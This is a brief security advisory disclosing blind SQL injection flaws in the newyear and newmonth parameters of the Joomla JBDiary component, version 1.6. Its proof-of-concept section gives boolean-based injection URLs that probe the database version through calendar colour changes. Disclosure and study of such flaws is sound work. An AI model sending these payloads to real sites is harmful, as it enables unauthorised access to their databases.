46 lines
No EOL
1.4 KiB
Text
46 lines
No EOL
1.4 KiB
Text
[~]>> ...[BEGIN ADVISORY]...
|
|
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
[~]>> TITLE: Joomla (JBDiary) BLIND SQL Injection Vulnerabilities
|
|
[~]>> LANGUAGE: PHP
|
|
[~]>> DORK: N/A
|
|
[~]>> RESEARCHER: B-HUNT3|2
|
|
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
|
|
[~]>> TYPE: COMMERCIAL
|
|
[~]>> PRICE: 5€
|
|
[~]>> TESTED ON: Demo Site
|
|
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
|
|
[~]>> AFFECTED VERSIONS: Confirmed in 1.6 but probably other versions also.
|
|
[~]>> RISK: High/Medium
|
|
[~]>> IMPACT: Execute Arbitrary SQL queries
|
|
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
[~]>> PROOFS OF CONCEPT:
|
|
|
|
[~]>> http://server/?newyear=[SQL]&newmonth=[SQL]
|
|
|
|
|
|
[~]>> -----{VAR NEWYEAR}-----
|
|
|
|
[~]>> {RETURN TRUE}
|
|
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=4%23&newmonth=01
|
|
[~]>> {RETURN FALSE}
|
|
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=5%23&newmonth=01
|
|
|
|
[~]>> -----{VAR NEWMONTH}-----
|
|
|
|
[~]>> {RETURN TRUE}
|
|
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=4%23
|
|
[~]>> {RETURN FALSE}
|
|
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=5%23
|
|
|
|
[~]>> Note: True or False is visible in calendar's colors.
|
|
|
|
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
|
|
|
[~]>> ...[END ADVISORY]... |